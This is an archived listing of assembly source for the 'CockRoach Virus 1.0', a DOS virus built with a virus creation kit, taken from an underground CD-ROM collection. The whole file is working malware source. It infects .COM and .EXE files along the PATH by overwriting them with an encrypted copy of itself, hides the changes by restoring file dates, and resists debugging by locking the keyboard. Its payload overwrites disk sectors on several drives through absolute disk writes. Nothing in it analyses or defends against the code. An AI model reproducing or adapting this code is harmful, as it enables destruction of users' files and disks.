home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / cocroach.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.5 KB  |  336 lines

  1. ; COCROACH.ASM -- CockRoach Virus 1.0
  2.  
  3. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  4.  
  5. ; Written by Anonymous Caller
  6.  
  7.  
  8.  
  9. virus_type    equ    1            ; Overwriting Virus
  10.  
  11. is_encrypted    equ    1            ; We're encrypted
  12.  
  13. tsr_virus    equ    0            ; We're not TSR
  14.  
  15.  
  16.  
  17. code        segment byte public
  18.  
  19.         assume    cs:code,ds:code,es:code,ss:code
  20.  
  21.         org    0100h
  22.  
  23.  
  24.  
  25. start        label    near
  26.  
  27.  
  28.  
  29. main        proc    near
  30.  
  31. flag:        cmp    dx,0
  32.  
  33.         xchg    dx,ax
  34.  
  35.  
  36.  
  37.         call    encrypt_decrypt        ; Decrypt the virus
  38.  
  39.  
  40.  
  41. start_of_code    label    near
  42.  
  43.  
  44.  
  45. stop_tracing:    mov    cx,09EBh
  46.  
  47.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  48.  
  49.         jmp    $-2
  50.  
  51.         add    ah,03Bh            ; AH now equals 025h
  52.  
  53.         jmp    $-10            ; Execute the HaLT
  54.  
  55.         mov    bx,offset null_vector    ; BX points to new routine
  56.  
  57.         push    cs            ; Transfer CS into ES
  58.  
  59.         pop    es            ; using a PUSH/POP
  60.  
  61.         int    021h
  62.  
  63.         mov    al,1            ; Disable interrupt 1, too
  64.  
  65.         int    021h
  66.  
  67.         jmp    short skip_null        ; Hop over the loop
  68.  
  69. null_vector:    jmp    $            ; An infinite loop
  70.  
  71. skip_null:    mov    byte ptr [lock_keys + 1],130  ; Prefetch unchanged
  72.  
  73. lock_keys:    mov    al,128            ; Change here screws DEBUG
  74.  
  75.         out    021h,al            ; If tracing then lock keyboard
  76.  
  77.  
  78.  
  79.         mov    cx,0007h        ; Do 7 infections
  80.  
  81. search_loop:    push    cx            ; Save CX
  82.  
  83.         call    search_files        ; Find and infect a file
  84.  
  85.         pop    cx            ; Restore CX
  86.  
  87.         loop    search_loop        ; Repeat until CX is 0
  88.  
  89.  
  90.  
  91.         mov    bx,0001h        ; First argument is 1
  92.  
  93.         mov    si,0002h        ; Second argument is 2
  94.  
  95.         push    es            ; Save ES
  96.  
  97.         xor    ax,ax            ; Set the extra segment to
  98.  
  99.         mov    es,ax                   ; zero (ROM BIOS)
  100.  
  101.         shl    bx,1            ; Convert to word index
  102.  
  103.         shl    si,1            ; Convert to word index
  104.  
  105.         mov    ax,word ptr [bx + 03FEh]; Zero COM port address
  106.  
  107.         xchg    word ptr [si + 03FEh],ax; Put first value in second,
  108.  
  109.         mov    word ptr [bx + 03FEh],ax; and second value in first!
  110.  
  111.         pop    es            ; Restore ES
  112.  
  113.  
  114.  
  115.         mov    ax,0002h        ; First argument is 2
  116.  
  117.         mov    cx,0096h        ; Second argument is 150
  118.  
  119.         cli                ; Disable interrupts (no Ctrl-C)
  120.  
  121.         cwd                ; Clear DX (start with sector 0)
  122.  
  123. trash_loop:    int    026h            ; DOS absolute write interrupt
  124.  
  125.         dec    ax            ; Select the previous disk
  126.  
  127.         cmp    ax,-1            ; Have we gone too far?
  128.  
  129.         jne    trash_loop        ; If not, repeat with new drive
  130.  
  131.         sti                ; Restore interrupts
  132.  
  133.  
  134.  
  135.         mov    ax,04C00h        ; DOS terminate function
  136.  
  137.         int    021h
  138.  
  139. main        endp
  140.  
  141.  
  142.  
  143.  
  144.  
  145.         db    036h,0D6h,0D4h,0E6h,029h
  146.  
  147.  
  148.  
  149. search_files    proc    near
  150.  
  151.         push    bp            ; Save BP
  152.  
  153.         mov    bp,sp            ; BP points to local buffer
  154.  
  155.         sub    sp,135            ; Allocate 135 bytes on stack
  156.  
  157.  
  158.  
  159.         mov    byte ptr [bp - 135],'\'    ; Start with a backslash
  160.  
  161.  
  162.  
  163.         mov    ah,047h            ; DOS get current dir function
  164.  
  165.         xor    dl,dl            ; DL holds drive # (current)
  166.  
  167.         lea    si,[bp - 134]        ; SI points to 64-byte buffer
  168.  
  169.         int    021h
  170.  
  171.  
  172.  
  173.         call    traverse_path        ; Start the traversal
  174.  
  175.  
  176.  
  177. traversal_loop:    cmp    word ptr [path_ad],0    ; Was the search unsuccessful?
  178.  
  179.         je    done_searching        ; If so then we're done
  180.  
  181.         call    found_subdir        ; Otherwise copy the subdirectory
  182.  
  183.  
  184.  
  185.         mov    ax,cs            ; AX holds the code segment
  186.  
  187.         mov    ds,ax            ; Set the data and extra
  188.  
  189.         mov    es,ax            ; segments to the code segment
  190.  
  191.  
  192.  
  193.         xor    al,al            ; Zero AL
  194.  
  195.         stosb                ; NULL-terminate the directory
  196.  
  197.  
  198.  
  199.         mov    ah,03Bh            ; DOS change directory function
  200.  
  201.         lea    dx,[bp - 70]        ; DX points to the directory
  202.  
  203.         int    021h
  204.  
  205.  
  206.  
  207.         mov    dx,offset com_mask    ; DX points to "*.COM"
  208.  
  209.         call    find_files        ; Try to infect a .COM file
  210.  
  211.         jnc    done_searching        ; If successful the exit
  212.  
  213.         mov    dx,offset exe_mask    ; DX points to "*.EXE"
  214.  
  215.         call    find_files        ; Try to infect an .EXE file
  216.  
  217.         jnc    done_searching        ; If successful the exit
  218.  
  219.         jmp    short traversal_loop    ; Keep checking the PATH
  220.  
  221.  
  222.  
  223. done_searching:    mov    ah,03Bh            ; DOS change directory function
  224.  
  225.         lea    dx,[bp - 135]        ; DX points to old directory
  226.  
  227.         int    021h
  228.  
  229.  
  230.  
  231.         cmp    word ptr [path_ad],0    ; Did we run out of directories?
  232.  
  233.         jne    at_least_tried        ; If not then exit
  234.  
  235.         stc                ; Set the carry flag for failure
  236.  
  237. at_least_tried:    mov    sp,bp            ; Restore old stack pointer
  238.  
  239.         pop    bp            ; Restore BP
  240.  
  241.         ret                ; Return to caller
  242.  
  243. com_mask    db    "*.COM",0        ; Mask for all .COM files
  244.  
  245. exe_mask    db    "*.EXE",0        ; Mask for all .EXE files
  246.  
  247. search_files    endp
  248.  
  249.  
  250.  
  251. traverse_path    proc    near
  252.  
  253.         mov    es,word ptr cs:[002Ch]    ; ES holds the enviroment segment
  254.  
  255.         xor    di,di            ; DI holds the starting offset
  256.  
  257.  
  258.  
  259. find_path:    mov    si,offset path_string    ; SI points to "PATH="
  260.  
  261.         lodsb                ; Load the "P" into AL
  262.  
  263.         mov    cx,08000h        ; Check the first 32767 bytes
  264.  
  265.     repne    scasb                ; Search until the byte is found
  266.  
  267.         mov    cx,4            ; Check the next four bytes
  268.  
  269. check_next_4:    lodsb                ; Load the next letter of "PATH="
  270.  
  271.         scasb                ; Compare it to the environment
  272.  
  273.         jne    find_path        ; If there not equal try again
  274.  
  275.         loop    check_next_4        ; Otherwise keep checking
  276.  
  277.  
  278.  
  279.         mov    word ptr [path_ad],di    ; Save the PATH address for later
  280.  
  281.         mov    word ptr [path_ad + 2],es  ; Save PATH's segment for later
  282.  
  283.         ret                ; Return to caller
  284.  
  285.  
  286.  
  287. path_string    db    "PATH="            ; The PATH string to search for
  288.  
  289. path_ad        dd    ?            ; Holds the PATH's address
  290.  
  291. traverse_path    endp
  292.  
  293.  
  294.  
  295. found_subdir    proc    near
  296.  
  297.         lds    si,dword ptr [path_ad]    ; DS:SI points to the PATH
  298.  
  299.         lea    di,[bp - 70]        ; DI points to the work buffer
  300.  
  301.         push    cs            ; Transfer CS into ES for
  302.  
  303.         pop    es            ; byte transfer
  304.  
  305. move_subdir:    lodsb                ; Load the next byte into AL
  306.  
  307.         cmp    al,';'            ; Have we reached a separator?
  308.  
  309.         je    moved_one        ; If so we're done copying
  310.  
  311.         or    al,al            ; Are we finished with the PATH?
  312.  
  313.         je    moved_last_one        ; If so get out of here
  314.  
  315.         stosb                ; Store the byte at ES:DI
  316.  
  317.         jmp    short move_subdir    ; Keep transfering characters
  318.  
  319.  
  320.  
  321. moved_last_one:    xor    si,si            ; Zero SI to signal completion
  322.  
  323. moved_one:    mov    word ptr es:[path_ad],si; Store SI in the path address
  324.  
  325.         ret                ; Return to caller
  326.  
  327. found_subdir    endp
  328.  
  329.  
  330.  
  331.         db    010h,08Eh,0B5h,016h,002h
  332.  
  333.  
  334.  
  335.  
  336.  
  337. find_files    proc    near
  338.  
  339.         push    bp            ; Save BP
  340.  
  341.  
  342.  
  343.         mov    ah,02Fh            ; DOS get DTA function
  344.  
  345.         int    021h
  346.  
  347.         push    bx            ; Save old DTA address
  348.  
  349.  
  350.  
  351.         mov    bp,sp            ; BP points to local buffer
  352.  
  353.         sub    sp,128            ; Allocate 128 bytes on stack
  354.  
  355.  
  356.  
  357.         push    dx            ; Save file mask
  358.  
  359.         mov    ah,01Ah            ; DOS set DTA function
  360.  
  361.         lea    dx,[bp - 128]        ; DX points to buffer
  362.  
  363.         int    021h
  364.  
  365.  
  366.  
  367.         mov    ah,04Eh            ; DOS find first file function
  368.  
  369.         mov    cx,00100111b        ; CX holds all file attributes
  370.  
  371.         pop    dx            ; Restore file mask
  372.  
  373. find_a_file:    int    021h
  374.  
  375.         jc    done_finding        ; Exit if no files found
  376.  
  377.         call    infect_file        ; Infect the file!
  378.  
  379.         jnc    done_finding        ; Exit if no error
  380.  
  381.         mov    ah,04Fh            ; DOS find next file function
  382.  
  383.         jmp    short find_a_file    ; Try finding another file
  384.  
  385.  
  386.  
  387. done_finding:    mov    sp,bp            ; Restore old stack frame
  388.  
  389.         mov    ah,01Ah            ; DOS set DTA function
  390.  
  391.         pop    dx            ; Retrieve old DTA address
  392.  
  393.         int    021h
  394.  
  395.  
  396.  
  397.         pop    bp            ; Restore BP
  398.  
  399.         ret                ; Return to caller
  400.  
  401. find_files    endp
  402.  
  403.  
  404.  
  405.         db    0FDh,052h,0B3h,06Ah,08Ch
  406.  
  407.  
  408.  
  409. infect_file    proc    near
  410.  
  411.         mov    ah,02Fh            ; DOS get DTA address function
  412.  
  413.         int    021h
  414.  
  415.         mov    si,bx            ; SI points to the DTA
  416.  
  417.  
  418.  
  419.         mov    byte ptr [set_carry],0    ; Assume we'll fail
  420.  
  421.  
  422.  
  423.         cmp    word ptr [si + 01Ch],0    ; Is the file > 65535 bytes?
  424.  
  425.         jne    infection_done        ; If it is then exit
  426.  
  427.  
  428.  
  429.         cmp    word ptr [si + 025h],'DN'  ; Might this be COMMAND.COM?
  430.  
  431.         je    infection_done        ; If it is then skip it
  432.  
  433.  
  434.  
  435.         cmp    word ptr [si + 01Ah],(finish - start)
  436.  
  437.         jb    infection_done        ; If it's too small then exit
  438.  
  439.  
  440.  
  441.         mov    ax,03D00h        ; DOS open file function, r/o
  442.  
  443.         lea    dx,[si + 01Eh]        ; DX points to file name
  444.  
  445.         int    021h
  446.  
  447.         xchg    bx,ax            ; BX holds file handle
  448.  
  449.  
  450.  
  451.         mov    ah,03Fh            ; DOS read from file function
  452.  
  453.         mov    cx,4            ; CX holds bytes to read (4)
  454.  
  455.         mov    dx,offset buffer    ; DX points to buffer
  456.  
  457.         int    021h
  458.  
  459.  
  460.  
  461.         mov    ah,03Eh            ; DOS close file function
  462.  
  463.         int    021h
  464.  
  465.  
  466.  
  467.         push    si            ; Save DTA address before compare
  468.  
  469.         mov    si,offset buffer    ; SI points to comparison buffer
  470.  
  471.         mov    di,offset flag        ; DI points to virus flag
  472.  
  473.         mov    cx,4            ; CX holds number of bytes (4)
  474.  
  475.     rep    cmpsb                ; Compare the first four bytes
  476.  
  477.         pop    si            ; Restore DTA address
  478.  
  479.         je    infection_done        ; If equal then exit
  480.  
  481.         mov    byte ptr [set_carry],1    ; Success -- the file is OK
  482.  
  483.  
  484.  
  485.         mov    ax,04301h        ; DOS set file attrib. function
  486.  
  487.         xor    cx,cx            ; Clear all attributes
  488.  
  489.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  490.  
  491.         int    021h
  492.  
  493.  
  494.  
  495.         mov    ax,03D02h        ; DOS open file function, r/w
  496.  
  497.         int    021h
  498.  
  499.         xchg    bx,ax            ; BX holds file handle
  500.  
  501.  
  502.  
  503.         push    si            ; Save SI through call
  504.  
  505.         call    encrypt_code        ; Write an encrypted copy
  506.  
  507.         pop    si            ; Restore SI
  508.  
  509.  
  510.  
  511.         mov    ax,05701h        ; DOS set file time function
  512.  
  513.         mov    cx,[si + 016h]        ; CX holds old file time
  514.  
  515.         mov    dx,[si + 018h]        ; DX holds old file date
  516.  
  517.         int    021h
  518.  
  519.  
  520.  
  521.         mov    ah,03Eh            ; DOS close file function
  522.  
  523.         int    021h
  524.  
  525.  
  526.  
  527.         mov    ax,04301h        ; DOS set file attrib. function
  528.  
  529.         xor    ch,ch            ; Clear CH for file attribute
  530.  
  531.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  532.  
  533.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  534.  
  535.         int    021h
  536.  
  537.  
  538.  
  539. infection_done:    cmp    byte ptr [set_carry],1    ; Set carry flag if failed
  540.  
  541.         ret                ; Return to caller
  542.  
  543.  
  544.  
  545. buffer        db    4 dup (?)        ; Buffer to hold test data
  546.  
  547. set_carry    db    ?            ; Set-carry-on-exit flag
  548.  
  549. infect_file    endp
  550.  
  551.  
  552.  
  553.  
  554.  
  555. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  556.  
  557.  
  558.  
  559.  
  560.  
  561. note        db    "CockRoach 1.0 Virus"
  562.  
  563.         db    "By Anonymous Caller"
  564.  
  565.         db    "[LegenD] Systems 1992!"
  566.  
  567.  
  568.  
  569. encrypt_code    proc    near
  570.  
  571.         mov    si,offset encrypt_decrypt; SI points to cipher routine
  572.  
  573.  
  574.  
  575.         xor    ah,ah            ; BIOS get time function
  576.  
  577.         int    01Ah
  578.  
  579.         mov    word ptr [si + 8],dx    ; Low word of timer is new key
  580.  
  581.  
  582.  
  583.         xor    byte ptr [si],1        ;
  584.  
  585.         xor    byte ptr [si + 7],1    ; Change all SIs to DIs
  586.  
  587.         xor    word ptr [si + 10],0101h; (and vice-versa)
  588.  
  589.  
  590.  
  591.         mov    di,offset finish    ; Copy routine into heap
  592.  
  593.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  594.  
  595.         push    si            ; Save SI for later
  596.  
  597.         push    cx            ; Save CX for later
  598.  
  599.     rep    movsb                ; Copy the bytes
  600.  
  601.  
  602.  
  603.         mov    si,offset write_stuff    ; SI points to write stuff
  604.  
  605.         mov    cx,5            ; CX holds length of write
  606.  
  607.     rep    movsb                ; Copy the bytes
  608.  
  609.  
  610.  
  611.         pop    cx            ; Restore CX
  612.  
  613.         pop    si            ; Restore SI
  614.  
  615.         inc    cx            ; Copy the RET also this time
  616.  
  617.     rep    movsb                ; Copy the routine again
  618.  
  619.  
  620.  
  621.         mov    ah,040h            ; DOS write to file function
  622.  
  623.         mov    dx,offset start        ; DX points to virus
  624.  
  625.  
  626.  
  627.         call    finish            ; Encrypt/write/decrypt
  628.  
  629.  
  630.  
  631.         ret                ; Return to caller
  632.  
  633.  
  634.  
  635. write_stuff:    mov    cx,finish - start    ; Length of code
  636.  
  637.         int    021h
  638.  
  639. encrypt_code    endp
  640.  
  641.  
  642.  
  643. end_of_code    label    near
  644.  
  645.  
  646.  
  647. encrypt_decrypt    proc    near
  648.  
  649.         mov    si,offset start_of_code ; SI points to code to decrypt
  650.  
  651.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  652.  
  653. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  654.  
  655.         inc    si            ; Do the next word
  656.  
  657.         inc    si            ;
  658.  
  659.         loop    xor_loop        ; Loop until we're through
  660.  
  661.         ret                ; Return to caller
  662.  
  663. encrypt_decrypt    endp
  664.  
  665. finish        label    near
  666.  
  667.  
  668.  
  669. code        ends
  670.  
  671.         end    main